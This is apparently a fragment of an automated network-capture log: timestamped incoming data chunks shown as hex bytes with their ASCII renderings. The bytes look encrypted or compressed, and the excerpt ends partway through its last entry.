2021-10-28 20:43:28 UTC	1223	IN	Data Raw: d1 82 f2 74 5b 24 ef 75 85 a7 be 14 47 02 0a 8d 09 f8 c7 1c eb b8 26 35 25 14 06 58 84 cf 91 a0 6b d3 54 d0 65 08 eb c8 d7 48 c1 31 07 ef 3f 14 a3 9a 71 b7 79 b1 80 5b 47 4a cd 69 1d 9c 6e 1c d2 58 d9 04 16 dc b9 fd d6 e0 fc dc f1 7e 91 fe 78 47 c4 e5 04 e2 99 9b 74 94 17 57 54 5a 68 13 9e d8 ab 6d 03 fc 67 f5 fe 82 a1 20 76 03 22 2d 9f 19 85 b0 58 ea 79 6c 0d a8 80 ee 57 58 00 2b 0c a4 8f 27 16 63 70 6c b7 56 ee 06 8c 00 24 48 58 66 d7 d4 e4 f7 76 5f a0 ed de ae e8 36 e7 6a b1 2b 50 33 53 c6 60 20 ad ba 6c 5e 03 2c 42 a3 b3 d3 e7 95 79 ea 98 62 48 62 e3 df f8 5d 15 58 5c b9 36 69 e9 77 a0 b8 bb b6 2a cf 55 5b 9b ab a1 7b 12 f9 f9 bf f5 66 b9 2c eb 0c 86 66 21 38 8e f5 48 f9 c4 05 26 4e 44 df d7 2d 38 0c 06 7d 50 42 9d d3 e2 ae 4c 57 ae 2d 5e 02 94 68 d9 Data Ascii: t[$uG&5%XkTeH1?qy[GJinX~xGtWTZhmg v"-XylWX+'cplV$HXfv_6j+P3S` l^,BybHb]X\6iw*U[{f,f!8H&ND-8}PBLW-^h
2021-10-28 20:43:28 UTC	1239	IN	Data Raw: 63 d3 a7 8e ea 40 0a 61 3c 52 25 8c f7 0f be 04 ff 98 df ea 21 3a de 55 f6 5e 40 da 83 be af 0b fc a3 55 61 ff 4a aa ec 15 87 a7 da 48 07 e2 73 39 5a 6a 0a e6 8e 9f d4 ab 37 ae 0a bd 95 e2 f3 d0 0a d6 32 4b 03 eb 3f f2 6f a5 06 bb 0b 27 37 63 12 5b ad c9 29 a7 7a 70 bb 6e 82 f1 a8 b8 70 f9 13 ef a3 40 6f dd a2 d4 29 ad 6a fc 4b 52 dc e9 f0 aa 6c f7 6a 3f 6c c3 98 ed 4f bb 2e c0 06 43 3a 85 7f 1b e3 6e 32 de a8 ae 72 37 0f 2e 2c ad 66 d0 46 cf f9 45 3d 98 d9 ed 10 94 94 1b 08 79 e1 2d 05 95 82 e8 0a a3 0f 67 40 39 92 20 13 5f 71 df 95 5d 86 b6 88 e2 c0 2f 14 06 b1 c6 9f 1e b9 b6 55 b2 5f 01 28 31 5f 8b b8 b2 36 7e be 80 77 e4 f0 a6 14 c9 df f3 9f 0f 21 b6 bf 54 57 32 2b d3 85 ab 4d 9d d8 71 30 c1 91 7c 88 c7 f6 81 fc 05 ab 79 5d f5 b8 31 50 10 c1 51 92 72 Data Ascii: c@a<R%!:U^@UaJHs9Zj72K?o'7c[)zpnp@o)jKRlj?lO.C:n2r7.,fFE=y-g@9 _q]/U_(1_6~w!TW2+Mq0\|y]1PQr
2021-10-28 20:43:28 UTC	1255	IN	Data Raw: 08 3d d4 43 09 0d cd 39 48 59 40 6c d0 c2 03 5a 2c fc b8 9b 6e 1e dd 40 61 17 69 18 c2 b6 b6 cd ee c5 0d d4 7a 9f 04 f0 71 0e d8 22 79 20 11 a4 13 a8 35 98 ba 58 f5 da 4a e0 e9 b3 fd 08 7b 0f 36 cb f2 1d c6 41 e9 ba 4e 67 56 86 08 64 65 85 03 1b 01 46 db 2c f9 ff b8 d8 3f 98 b4 39 e5 9a 83 6c 8a f9 73 9a 7e f8 0d d6 20 56 1d e2 f9 79 22 32 fc 47 a9 32 ce d9 cd e6 1f 8b 90 22 3e d7 b4 37 45 42 b1 b3 62 3b 17 ea cf 28 14 95 93 c0 21 a7 2f b4 21 54 2b bd 73 79 f2 9c 10 35 bd 6c e0 3f 03 37 f4 9a 31 a8 36 c1 ae ac f6 56 a8 88 56 55 cf 2b c0 14 eb c3 8a 6c 85 b0 10 9b 34 37 07 ae 5f 3d c0 67 3b d5 18 b0 9f d8 4a 18 02 a2 bd 56 f8 4e b5 d4 77 6a 7e 0a 2b 0d c0 d5 76 a1 61 74 98 54 57 69 7f a2 6c e9 9a cc ca f9 5a 08 99 01 5b a2 ec ae 45 49 be 9c cc da a9 ae a5 Data Ascii: =C9HY@lZ,n@aizq"y 5XJ{6ANgVdeF,?9ls~ Vy"2G2">7EBb;(!/!T+sy5l?716VVU+l47_=g;JVNwj~+vatTWilZ[EI
2021-10-28 20:43:28 UTC	1271	IN	Data Raw: 51 3d 88 0e 93 b7 a1 59 22 2d 6b 6f e8 e2 81 15 41 08 db ad c6 39 f0 bb 1b 79 39 af 63 95 0a ab 23 73 4c dd 28 5d 98 1e eb 6c 68 2d 5f 72 7f 87 ff 2d da 4f 76 19 fa dc 47 a0 e6 0b 79 96 16 74 ec 0f 86 67 78 80 48 79 c9 ae 3d 8c b6 f4 c0 76 9b 01 35 9f 2a cf e0 72 a3 43 6a 69 0a fd 34 8b 88 39 06 fd 93 e6 ee a1 39 07 6d 58 cc c7 aa 7a eb 24 7e 07 64 95 2b 0a 2e 66 26 7e e5 57 b2 7d d5 83 5e aa eb c1 50 6f 93 91 7a fc a9 8b de a7 7b f8 5f 02 d3 af c8 c3 53 2b c2 e3 ce 2a 87 7b ab 74 1e eb b9 14 d8 4d 20 28 89 85 7b 2f ed 6c 8f 2f 0e 93 e7 d2 ab 1e c3 78 cb 7a 80 6b 16 fc 72 3a 4b ec 22 04 5b 2c c7 de 0b 9a c1 d6 a9 7e 2c 11 60 d1 5a 4e 6c 83 03 3a db 7d 0f ae 98 5e 26 a7 4e 05 99 34 8b e2 76 55 80 5e eb 5b 27 90 6f 77 dd ac db 8e 77 77 b6 61 89 61 0a 9a 7b Data Ascii: Q=Y"-koA9y9c#sL(]lh-_r-OvGytgxHy=v5rCji499mXz$~d+.f&~W}^Poz{_S+{tM ({/l/xzkr:K"[,~,`ZNl:}^&N4vU^['owwwaa{
2021-10-28 20:43:28 UTC	1287	IN	Data Raw: b1 70 83 28 27 b1 52 86 66 6a 9f fc ae eb f8 76 f0 de 82 ee 04 14 f9 3e 0f 24 55 6b d2 06 58 31 3d 2a 0a 92 4d 33 dd 01 ae 20 7e d2 61 57 a6 79 66 2c f2 14 be 7b 95 1a c8 9c e1 94 cc 39 78 ae c7 fc f9 78 5e 0a 93 8f 69 c7 31 cc 2c 03 7c 41 c4 cd 04 cb b9 7e 4d 2b a9 b9 85 74 ec 89 28 5a b3 48 16 f6 8c 4b 80 0f f6 06 8c 00 08 2a ca 23 7a 1a c2 d4 1e 7a de e8 ff a7 5a 2c 60 a4 0f d9 1b b0 97 eb 86 42 c0 ef 66 da ba 7f 36 c2 61 7c 37 84 53 e6 25 38 70 05 e2 78 1d 9c 85 32 ec a8 0e da 9a 29 e2 20 a7 6b 32 8e 46 95 86 f2 ee fc 16 37 b5 09 1a 9f 66 13 2f d1 1f ac a0 2f 0c 41 ba 36 f0 d0 86 6d 18 0b 94 cc c8 76 f3 60 63 27 3b 24 f1 8c a1 55 4f 1a 34 f9 14 f6 03 ce 39 2a e7 65 71 21 bb ae 67 f2 e9 ff 49 df 38 a1 32 27 cd 58 d8 c7 73 1b 89 9f 1e ca ae 37 e6 a1 12 Data Ascii: p('Rfjv>$UkX1=M3 ~aWyf,{9xx^i1,\|A~M+t(ZHK#zzZ,`Bf6a\|7S%8px2) k2F7f//A6mv`c';$UO49*eq!gI82'Xs7
2021-10-28 20:43:28 UTC	1303	IN	Data Raw: c6 78 17 08 61 7c 6c 11 15 43 ff eb f1 9e 94 31 4b ab b4 26 32 3f df 7b fd 80 f8 92 21 98 7a d2 fb 1f f2 b0 ec df de 82 ed fe b7 61 27 30 47 5e cb 9e e0 f7 05 de a3 b9 c3 30 f5 0e 71 d9 b0 48 c9 fb c9 e8 d0 36 0f 10 51 3b e6 3d ea d0 e2 44 50 25 9b b7 c1 12 bf f2 d9 b6 f2 70 40 7f 99 a8 b5 9b 94 13 4d af 94 03 d2 fe 94 4a d2 51 12 68 db 08 23 1c f1 2b 2f 10 d0 e1 85 88 98 06 76 35 fe 5f ea 8c eb 6b 5b 07 fa 41 25 e7 1d bd 51 db f3 16 16 fe 9e c8 0a c3 a9 cd 16 84 4f a0 2f f8 5c 70 e5 ed bf 30 90 63 4d cc c6 c3 50 ff bc 4c 98 08 ad f9 c3 fc 89 be eb f6 69 6e bc 1b a4 73 1d 0f dd 8e 35 2c 2e ce 8d aa 53 3a b5 4a 2d f5 48 fd 21 6b 6c bb af 42 67 b3 33 8d 4b 6f 3f 4b 68 f8 bb 3e 1d 4e ab fc 98 0c 4f f6 a4 2f dd 06 3c 23 3a e0 a6 a3 40 3c cd 85 45 6f a9 79 e8 Data Ascii: xa\|lC1K&2?{!za'0G^0qH6Q;=DP%p@MJQh#+/v5_k[A%QO/\p0cMPLins5,.S:J-H!klBg3Ko?Kh>NO/<#:@<Eoy
2021-10-28 20:43:28 UTC	1319	IN	Data Raw: d6 99 6b 87 3b 70 81 6f 1d 06 62 e9 ec 25 14 00 1d d0 a9 f5 22 c7 5a 1e a6 d0 18 4c 75 19 ba a3 ac f5 35 e6 ea e3 e5 3f d9 2f 5d 9c df 81 60 7e b1 eb 20 6c ca 89 bf 95 a4 fd bb d9 fd 84 86 c8 85 5b 89 5d 37 5f 43 4c 90 3c 53 64 b5 fd 97 a2 ac 9e ce 0c 68 bd 89 b7 5c 91 31 94 06 bc 39 2d e4 6b 7b a9 14 fb 1d 8a c2 90 ca 88 bd c3 9e 05 99 bf ba f7 e3 5f 04 30 7e 46 0d 39 1f 8a 5c 9a 2e 36 6b 31 1f f4 02 7d 55 e0 2c 31 2a 5e b6 85 b8 c2 7c 19 6c 2b 8c 92 7a 67 8c 33 cc ca a5 bf 78 47 a8 6d 6b 78 64 b5 1c d6 51 b6 f1 0d 21 d3 a4 7e f2 ce 06 42 93 05 6c 39 a7 b6 bb 6d 94 1d 2c e2 f6 4f 4b b2 06 d1 f1 5e 68 bf 7d e1 e2 2e 5a 2e 1b fc c8 8d 25 78 1e 4e 62 0e 4f fd 12 41 ac 17 5a 43 b2 a0 47 f2 08 13 f5 10 08 cc c1 32 67 76 9a 7e 61 ea 7a de 80 8d dc 07 a9 84 f6 Data Ascii: k;pob%"ZLu5?/]`~ l[]7_CL<Sdh\19-k{_0~F9\.6k1}U,1*^\|l+zg3xGmkxdQ!~Bl9m,OK^h}.Z.%xNbOAZCG2gv~az
2021-10-28 20:43:28 UTC	1335	IN	Data Raw: 50 d8 e4 5b 30 46 2d 37 7e 37 d5 d8 80 b2 87 ab a1 6b a4 23 14 20 66 65 50 03 42 55 26 ab 8e 26 83 01 77 a6 89 59 36 66 41 60 aa 7c 3a b8 63 10 53 6c e4 94 f0 d5 65 1e fc bb c6 5c 10 61 a4 25 6d 0d 13 bb 61 6d 72 5d e7 95 4e c1 a8 11 9b 78 65 16 c6 6d 80 44 b4 66 f7 68 48 6d 64 a3 ae e0 4b 14 59 63 80 96 43 a3 16 4f c8 b6 70 8d e3 45 51 01 cf 99 08 7c e8 ea 9a 4a fe a4 6b e1 3d 3a da 17 5c 90 2b 76 5d c7 78 b2 08 dc d5 9b bf bf d2 1c ca 29 93 3e b0 37 d4 32 47 57 57 c5 06 0d 56 2c 0c cb ea db 86 06 49 ad f8 fa dd 39 f4 2f 37 dc d9 3f b8 b3 bf ca 4d b3 1f 56 56 f4 10 0e c8 19 d8 59 e3 9d 61 c1 87 09 61 eb 8f c7 bf 43 2c f8 2e a8 ae 7b f4 81 93 f1 7e e1 39 b7 3f 83 12 a4 7c b5 dc 40 2b 86 96 e3 98 11 66 28 ed c8 25 11 9c a2 95 08 ce fa c7 97 34 cf 2f 5a f6 Data Ascii: P[0F-7~7k# fePBU&&wY6fA`\|:cSle\a%mamr]NxemDfhHmdKYcCOpEQ\|Jk=:\+v]x)>72GWWV,I9/7?MVVYaaC,.{~9?\|@+f(%4/Z
2021-10-28 20:43:28 UTC	1351	IN	Data Raw: 20 fb 17 6b 2a 08 d1 3b 68 31 ec 73 39 2e da 9b f3 a8 7b fe c0 1f 6c f2 34 c0 7e 14 9a 69 14 ef 39 43 8a 5f 0f 7a d8 39 2b 62 d0 6e 2c 20 cc 6f 9f fd e3 99 23 b9 d0 41 05 6e 67 5d be 98 20 fc 84 6e 25 65 b3 eb 9b d7 bb 7e 73 2d 20 aa 57 9b 2d 42 3c 90 58 74 57 5e b4 43 96 6d fe 57 eb fc 6d 4d 74 c9 92 c2 be 89 bf fe 8f 25 be 35 15 a8 23 12 57 54 6d 27 9a a3 f0 19 60 b1 02 9d d6 6b 55 e4 2c 2d be cf 74 da a3 45 cd 69 d7 d7 4f bc 8a cb 99 6e 7c 90 42 11 c2 b6 1c 73 50 33 36 7d 36 ba 72 c6 35 05 8b c8 f3 30 df 97 06 cd 3e 06 02 c2 0a cf f4 fe 92 5c c9 f7 ce 34 7a a7 2d 60 52 26 97 ab 44 a0 7c 4e 2a e0 42 d9 60 e7 36 7f 9e ab ed 1e 82 75 08 10 51 23 f9 5d a2 d1 4d 81 43 ca fe 80 d3 fb 3a 2e fc 0c 80 e9 f9 34 43 0f 61 00 29 6e 82 17 7f 39 fb 44 dd 22 d2 90 0e Data Ascii: k;h1s9.{l4~i9C_z9+bn, o#Ang] n%e~s- W-B<XtW^CmWmMt%5#WTm'`kU,-tEiOn\|BsP36}6r50>\4z-`R&D\|NB`6uQ#]MC:.4Ca)n9D"
2021-10-28 20:43:28 UTC	1367	IN	Data Raw: 89 86 bf c8 6f dc 9a 4d 10 3b 8d 54 91 18 05 21 69 37 c2 b7 c3 30 7e e4 a7 15 74 18 7d a2 54 c5 ab c9 ad 42 0b e9 40 ca a4 fa 7c 9a 3c ab 0c 6c f5 58 d6 20 b3 36 2d c4 67 c9 d9 c8 9f 93 75 3a b1 19 c7 38 a9 a9 9c 8b 31 48 6f 57 4d d9 b1 49 61 fd e4 06 0e ee 95 5b 96 31 32 b8 2f a7 73 c7 e0 66 6f a5 ba 3a 0e d4 d2 09 88 b1 94 1a 4f 9e e1 9f 86 79 8d 41 5f 1c 4c 73 62 33 0f 38 cd 2c a1 69 25 ad f2 b1 4a 44 89 b1 a0 03 c7 85 39 e5 22 72 f9 27 7b 01 87 b2 a8 6e 4a 56 e5 f8 91 b7 f8 d2 c1 ae c5 1d 4b af c6 13 dc 27 e3 4c fb ab 6f 07 08 d8 37 c8 6e 1b f6 6c a7 60 0e b9 25 1c e1 5d 4f 58 7b 9b 5a 24 e2 0a 9e 03 6d 0e 0f 2b a5 19 ed 09 26 2b 37 95 b1 14 98 8a c9 32 b9 c2 a2 4a e8 3b fd 6f 95 d0 2b e7 a7 d1 c4 b7 88 15 94 a5 c2 75 bd 08 89 4a 4f ce a9 60 1a b3 0c Data Ascii: oM;T!i70~t}TB@\|<lX 6-gu:81HoWMIa[12/sfo:OyA_Lsb38,i%JD9"r'{nJVK'Lo7nl`%]OX{Z$m+&+72J;o+uJO`
2021-10-28 20:43:28 UTC	1383	IN	Data Raw: c0 1f c0 89 c1 da fd 88 86 b6 b6 b7 04 d9 ae 2e 97 3f 05 9a 07 76 86 ec bb ca 56 2b ca 0f f5 d2 1d a3 ae 93 e5 ff 9c 12 65 92 15 a1 de 23 ed 2b f7 fd 8c 95 fc 6c c5 92 59 18 17 35 be 37 47 84 0c eb ea 23 cc 12 21 64 a2 98 2d 7e 77 71 ae fb fb b3 47 50 0e 66 ad 25 17 22 c5 50 9e c5 1a cc 49 1a 08 f1 cc 98 b3 6b 1b bb 00 e4 8f e8 d0 c8 a6 07 e4 6e d7 93 ce 04 35 e0 b8 9e 34 66 55 e5 7b 98 7c aa 8a e0 4a b1 4d 63 2e ad c4 8b b0 5c 3e c3 40 02 62 e8 f8 6b 68 6e 5f cb 75 26 00 28 9e 93 47 2e 90 ff 0f 77 f1 39 3f 75 66 6e 1e 03 5a e8 fc 06 f5 2f 08 df 09 64 64 6b 68 e1 ef 37 02 5d 80 ef a1 00 e2 05 59 fb ee 75 73 73 56 06 5c bb 69 1b f8 b3 65 ff 7f 3d 61 40 db 4f 62 95 4d 42 d9 4a 04 05 5b 41 cf 72 ba 71 61 37 b8 f2 99 e1 d9 a5 d8 08 bc 93 e3 39 19 6e 70 33 cb Data Ascii: .?vV+e#+lY57G#!d-~wqGPf%"PIkn54fU{\|JMc.\>@bkhn_u&(G.w9?ufnZ/ddkh7]YussV\ie=a@ObMBJ[Arqa79np3
2021-10-28 20:43:28 UTC	1399	IN	Data Raw: d1 c3 ed b0 20 23 6f f6 d3 0f 98 7d e6 df 00 a8 ce ad 78 a9 de b8 f4 98 7a 9d b2 9c 84 ed 8d 83 fc 53 23 91 eb 18 ce e6 44 82 1f 4b a2 f1 f1 93 af 9e 69 e1 a8 0f 8e e2 4f b1 d5 9c b8 26 ad 31 da 3d af fc 30 dc 8d 31 98 a0 46 ee 2b ce b3 dd 49 34 c6 9f 4b b7 4a 51 18 66 19 7e 09 43 36 8d 80 f8 ae 50 68 ab f1 e2 76 b9 1e ec 7c 0d e6 bd 3e af 1d 79 00 23 39 bc d6 35 17 5e a0 81 9a d3 76 3a 1e c3 42 d1 77 e7 84 b9 92 6f da ce 35 f0 93 91 fc 30 df 14 20 b7 53 a2 b0 93 c5 30 24 e7 27 3d ef 26 d0 c8 02 a7 9a ae 21 cf 78 d2 18 69 aa 0a 9e d7 89 9b c4 8b 81 5e 32 2e 97 e2 d5 19 90 ac 23 b4 f6 54 96 a0 62 c1 73 5c c5 f7 dd 04 28 64 4d 32 ed c1 49 17 98 09 3b 2c bc 61 28 13 e4 d8 ba b4 d3 5f a6 65 5d c0 98 59 fa 99 1e b4 65 b9 b4 0f 92 c5 e8 6c 2f cd 48 2e b8 ed a4 Data Ascii: #o}xzS#DKiO&1=01F+I4KJQf~C6Phv\|>y#95^v:Bwo50 S0$'=&!xi^2.#Tbs\(dM2I;,a(_e]Yel/H.
2021-10-28 20:43:28 UTC	1415	IN	Data Raw: fd eb 3b c6 bf 80 9a 9c 17 1f 6c 82 01 d3 40 c0 c9 23 7f ba 4b c8 c8 7e b2 ff 6f 5c e7 bf 08 28 f5 79 63 a9 39 51 33 f7 9f 8d 51 1b c9 b1 63 6a 01 6e 73 d6 18 54 60 75 ae 30 cb ea 2d b1 f8 d2 5e c8 02 d4 58 c4 06 34 bd 9e 39 b2 d1 10 20 fc be 5d c6 7b 0c d5 ef 85 53 3c e1 62 e1 69 3c 42 0d d0 88 ba f4 7f 39 d2 48 e0 b3 f1 39 38 3a d9 49 dd 84 c2 e2 39 8a 6f 7a ef 2c 2e a6 d9 5d d8 a7 e5 7b ff 19 4f 3a 7a a5 d9 57 f2 58 1f 41 ad ab e3 44 2a 26 ee ff ff 8a 4c 88 da b5 cc 82 09 bc fa 2c 53 26 f1 58 48 32 ee 56 d7 5c 66 7c 0b 96 d3 df 7a f5 63 c3 9f 88 28 f1 0e 04 e9 67 4d ad d1 bb 9b 3f 9e 26 e3 49 fd 91 ed 1d 2c a2 39 be 48 b6 10 5e 7c f0 99 8a be db 11 9b de 8e 54 c7 b1 36 78 71 c5 6e 5f aa 95 ac f1 fc 35 40 2a 52 41 24 96 20 6e 6b 57 e3 45 0c 04 c0 6f ff Data Ascii: ;l@#K~o\(yc9Q3QcjnsT`u0-^X49 ]{S<bi<B9H98:I9oz,.]{O:zWXAD&L,S&XH2V\f\|zc(gM?&I,9H^\|T6xqn_5@RA$ nkWEo
2021-10-28 20:43:28 UTC	1431	IN	Data Raw: b3 8d 5c 7c 83 ad 54 56 e3 ac ef b9 19 5a 51 2d 7e 3c e7 75 79 04 ac 58 09 1f 47 e7 d5 a2 5b ea c2 e5 5d 2b 2c d2 0d 8c f1 93 b2 e9 cd a1 52 be 0e ea dd 65 a6 16 8e c5 0d 46 4d ca 03 06 fc ed 14 2f 71 a1 7c b9 af a9 89 04 7f a5 50 5b 0d 69 e5 94 8a 93 0b d8 d9 e2 02 c6 84 8a 81 0c 7d 41 37 da f6 1a 1e e0 c0 2c 57 81 f9 1c 2d fc 2c a3 52 b3 3b 50 18 bc 51 c9 56 74 df c9 85 0a 47 ee 73 64 5e 89 71 35 9a 1d e4 9c 2e f0 3d d5 14 49 1c 78 6b fe b6 da f1 e4 e8 2c 00 57 45 84 85 97 de 6e e8 a5 b0 ee f5 b9 8b 7f 73 bc 07 f0 65 39 9e 0d a7 fc 4b 61 32 35 7c 88 0c 12 b1 53 dd a9 85 7f 53 dc 86 4b 9c cb 37 b8 74 f1 b8 27 0a f7 cf 0e d1 60 0c de 99 9c 31 89 40 d9 57 4d 62 70 5c 2f 24 a6 d6 25 e3 9b 84 f7 d3 6d 6d f9 d0 6d 36 03 6f 40 3b 0a 50 db 51 12 a8 01 13 a0 2a Data Ascii: \\|TVZQ-~<uyXG[]+,ReFM/q\|P[i}A7,W-,R;PQVtGsd^q5.=Ixk,WEnse9Ka25\|SSK7t'`1@WMbp\/$%mmm6o@;PQ*
2021-10-28 20:43:28 UTC	1447	IN	Data Raw: 17 3e 12 f4 d2 3b 96 ea 69 5c 6f 74 8d a2 12 a9 cc f7 c1 a3 81 a2 c1 48 f7 da 4e ad ee 53 21 52 42 32 6e 5a 1f 45 e1 30 8d 26 70 b7 d1 f6 55 23 bc f3 6b 2c 11 9d 07 d9 c2 08 c2 8d d9 35 ce 76 b9 77 8d c9 8c d4 47 c1 aa 59 3a 49 13 02 20 89 37 f0 9d c4 53 85 1e 74 1e 7d a7 22 96 21 e2 95 ee 46 ae 39 b2 79 d2 a4 6c ed ca be a6 98 87 ca 0d e1 53 c3 d4 f2 a1 4f 43 e3 db a8 d6 c4 1e 60 c9 5d ed f4 ba 4f aa 3a 9f a8 ca f6 44 16 69 80 67 f2 3d ab 93 de b8 6d 39 ba 87 fd 71 a4 17 8c f8 4d be c5 a6 23 41 62 b9 e9 ef 05 3f 7e 61 92 a6 66 93 c9 ed db c2 4f 3f 1c 8f 16 a7 e3 24 bd e8 69 4d 9a 32 6f 0c ba 8f 09 91 39 56 20 53 e1 76 0a ad bb 2f b3 a2 a3 fb 59 1c 9b ec 31 ec ed 8f b5 3f 86 6f 0d 8d af d1 14 c0 98 e6 e1 14 2f be e9 30 02 a9 19 d2 16 c5 a2 3a ee ab 9d ec Data Ascii: >;i\otHNS!RB2nZE0&pU#k,5vwGY:I 7St}"!F9ylSOC`]O:Dig=m9qM#Ab?~afO?$iM2o9V Sv/Y1?o/0:
2021-10-28 20:43:28 UTC	1463	IN	Data Raw: c9 13 7f ae f0 47 69 85 70 14 dd 25 75 d4 d3 74 2c 29 97 46 39 47 1c 76 b6 93 25 83 87 b2 90 2a a3 84 08 ad 9b da 65 8e c1 38 fb b8 49 c0 1a 15 37 d9 4c d9 a2 16 f6 27 5a b4 97 c9 48 d1 5d c1 88 f2 6c 2d 79 2d 1d 56 de 88 45 8c 11 29 63 e5 db 4a 0a b1 39 ff ce dd 7a 9a 47 6d ff 50 b3 0a 1e 4b e8 d5 91 81 16 6a 00 a5 00 cf 3f 5e 02 c7 a3 c0 fc 5b 35 26 45 2e 1d 9f 60 b3 86 fb 33 11 1f c1 e4 11 ef 28 6d ea 48 83 50 ac cf 59 53 1d a4 56 53 25 72 82 6c b2 8b c4 26 10 17 e9 a4 e5 30 24 e0 29 a5 2f 11 d5 68 c8 d4 28 3d e7 d1 d4 c6 a4 88 81 3c be c4 69 d3 4b 1a 6b b9 80 cd 67 89 f4 00 a5 48 d6 af 53 ab d3 db 50 21 35 7f c0 c3 49 cd 02 d8 fb b6 4a 9f b8 33 8e c5 c4 12 26 8f a1 51 27 2b 74 4a 73 f2 87 4f 6b d5 ad 15 60 23 75 f4 37 e5 75 a6 ce d3 7a b2 e6 c6 42 95 Data Ascii: Gip%ut,)F9Gv%*e8I7L'ZH]l-y-VE)cJ9zGmPKj?^[5&E.`3(mHPYSVS%rl&0$)/h(=<iKkgHSP!5IJ3&Q'+tJsOk`#u7uzB
2021-10-28 20:43:28 UTC	1479	IN	Data Raw: e7 09 17 cc e9 04 ca 2f d9 f2 3f 0f 29 ee 70 26 fe 8e f3 df f6 55 b3 77 22 75 f5 77 72 f4 4d 72 01 5c 74 2a 55 2c 94 f1 12 03 f4 f3 66 9d bc 42 4d 42 40 3c be c4 10 00 41 83 23 3a d0 65 95 c6 74 86 8f 9f 16 b8 63 07 2f 22 0f 6d 8a 35 37 58 09 94 5a 25 d7 8e e1 41 d5 f3 83 46 ac 99 db 9a 5b 77 58 f2 c9 81 80 d3 f8 77 22 40 cf 65 ad ed a4 32 fb 9c 1c a9 74 5f ae e4 03 cd ad d2 17 cc 1a 54 7d 51 c2 af 3f 78 48 49 68 60 f7 39 99 a5 61 01 0a d2 0e ec 98 cf 90 c1 af c8 87 a3 e7 49 5c 98 e0 00 49 b5 23 95 62 5c 69 d1 05 c8 3f b9 23 88 b6 49 09 5e 8d e6 a3 2c 62 9e e5 dd 98 c8 da 24 12 89 ab 38 4a 28 75 2b 71 bf 95 05 f4 86 8e e0 95 a2 a2 72 fe 34 04 dd 91 0c 3b fc e0 9d 09 20 89 ed 53 92 f3 ec f1 af d5 85 a1 d3 90 85 d0 3b 1d 62 4d 8c 79 10 ce d7 ad c2 5b 33 b1 Data Ascii: /?)p&Uw"uwrMr\t*U,fBMB@<A#:etc/"m57XZ%AF[wXw"@e2t_T}Q?xHIh`9aI\I#b\i?#I^,b$8J(u+qr4; S;bMy[3
2021-10-28 20:43:28 UTC	1495	IN	Data Raw: 27 7e 86 a6 2b 0b 95 a8 4f 16 7d 8d 94 0b 68 a6 3d b3 0e 8c 8e 73 9b ec 3d f8 40 28 6f ed a0 c7 cd 94 56 90 38 a9 db a5 62 d4 c7 3a 86 48 e6 54 36 cf b7 54 1a ac ce 8c 74 9b 10 cf df 02 26 28 ec e5 0b e2 5f e1 31 bd dc 87 af 74 c8 af 5f 11 d1 b7 da bf 74 dd 8c 28 1b 75 18 0e a4 da 2d b9 58 9b 45 49 48 05 ba fb 9d 55 79 a3 07 15 bc c7 6c fc 01 a9 ee c2 4e dd 3c fd e7 51 d8 b4 ab 23 9c 18 bd 1d 63 8f 10 f5 66 4b dc 52 7d ac 31 d2 ac fc 47 33 78 99 c8 c0 96 29 42 ad 42 bb f8 a1 f1 31 a9 9f 29 0e 21 4c 80 89 0c 47 c3 3b 6c ee 90 de 66 4f 55 4c 88 e9 3c e9 35 0f 79 1a ef eb 9f 48 7f 37 6e bd d2 bb c8 74 03 39 df f5 46 d0 2e 6e d7 e3 0e b1 4d f1 3b f8 5b c4 df 81 10 36 10 38 c8 67 f1 86 c6 a2 ca 67 25 28 09 47 85 64 ac 73 b3 4a a3 a1 5d fe 86 45 23 34 b7 7a 2f Data Ascii: '~+O}h=s=@(oV8b:HT6Tt&(_1t_t(u-XEIHUylN<Q#cfKR}1G3x)BB1)!LG;lfOUL<5yH7nt9F.nM;[68gg%(GdsJ]E#4z/
2021-10-28 20:43:28 UTC	1511	IN	Data Raw: d5 c7 88 5e 6c 06 64 88 bb 59 49 44 ef 0d 2b de c0 97 4a 69 01 47 7f 54 11 28 8c af 42 b3 ca 1d 6e 20 17 44 ce 79 ca f0 ef 48 4d bd db 46 30 9a 0e b4 f6 98 a4 29 ee 84 73 9a 67 7e 9e 6f 21 4d 2e e0 59 58 86 b9 91 6b 27 dd 9d 34 a3 c6 76 3e 97 73 68 33 19 8e 65 a9 fb 29 96 3a 4d ee f8 f4 32 c6 0e 67 70 5b 0c 03 de 9a 82 6d 75 59 00 a0 00 ec 5c e2 c2 85 63 cf fb d8 e0 76 11 39 87 48 96 a2 11 7e bd 0d 6d e9 3b 47 84 b6 e9 83 0b dd 36 cd 99 bd 42 7c eb 7c bc 49 3a b2 42 92 41 74 98 b2 35 79 17 1b 9b 7d 5f 48 f4 47 61 00 e1 e5 77 c9 17 e4 a8 c9 46 3a 82 e9 60 71 c2 a2 6f fc b1 54 f7 3b f5 9e 4f b4 06 3e 82 68 63 2f 2c 34 08 93 d4 5c f6 4a 65 b7 df 7f 32 2d 41 a7 bb fa e5 07 ad 59 09 75 88 aa 1f 3b 9d 36 d7 2d 2a 9f 75 35 77 2e 97 7c cb 85 c6 d6 b7 20 94 9c 81 Data Ascii: ^ldYID+JiGT(Bn DyHMF0)sg~o!M.YXk'4v>sh3e):M2gp[muY\cv9H~m;G6B\|\|I:BAt5y}_HGawF:`qoT;O>hc/,4\Je2-AYu;6-*u5w.\|
2021-10-28 20:43:28 UTC	1527	IN	Data Raw: 86 6d c0 14 79 82 cd f6 22 fe 6a d2 7a 84 ac e9 93 6a ad 15 34 5a 9e e6 b7 68 38 4c 47 79 a1 2d b3 5e e5 56 21 80 d9 77 f8 d0 db c8 51 77 7a d6 bb 6e f9 b0 1e df 79 8a 54 b0 25 be 5e 9f 2a 0f 94 ff dd b3 3a 8d 8d 86 d2 ef 3c fb de 9c 1e 55 81 55 2f 00 50 11 f3 89 5a b0 69 6d 84 c0 fa 30 b3 cc 9b 4b f3 45 24 59 43 b7 72 b4 18 4d 9c c4 63 51 eb 48 3d 6c fa 87 27 f2 ce e8 87 9c 98 d4 6b a6 d8 73 26 74 89 57 4b ff 3f 34 3f ab f4 86 e0 05 c9 9a 7a 13 d7 d3 ca c9 e1 9c 5e b5 4d 37 df 2c c3 01 22 c2 10 f6 23 42 06 b7 ef f0 42 7a 06 b6 f3 4b 23 f6 c5 91 87 8f fb ad 01 c8 22 86 32 bd 8f be d4 40 b9 2a c2 68 9a b6 90 f8 48 76 ac e5 5f a0 8d 4b fb 44 e7 0f f3 5b 28 56 2f 91 5a c7 f0 55 d2 21 55 43 bc 71 fa 7b df 21 ec 21 3f 87 fc cc 55 21 03 3c e1 e2 34 e0 c2 5e 0a Data 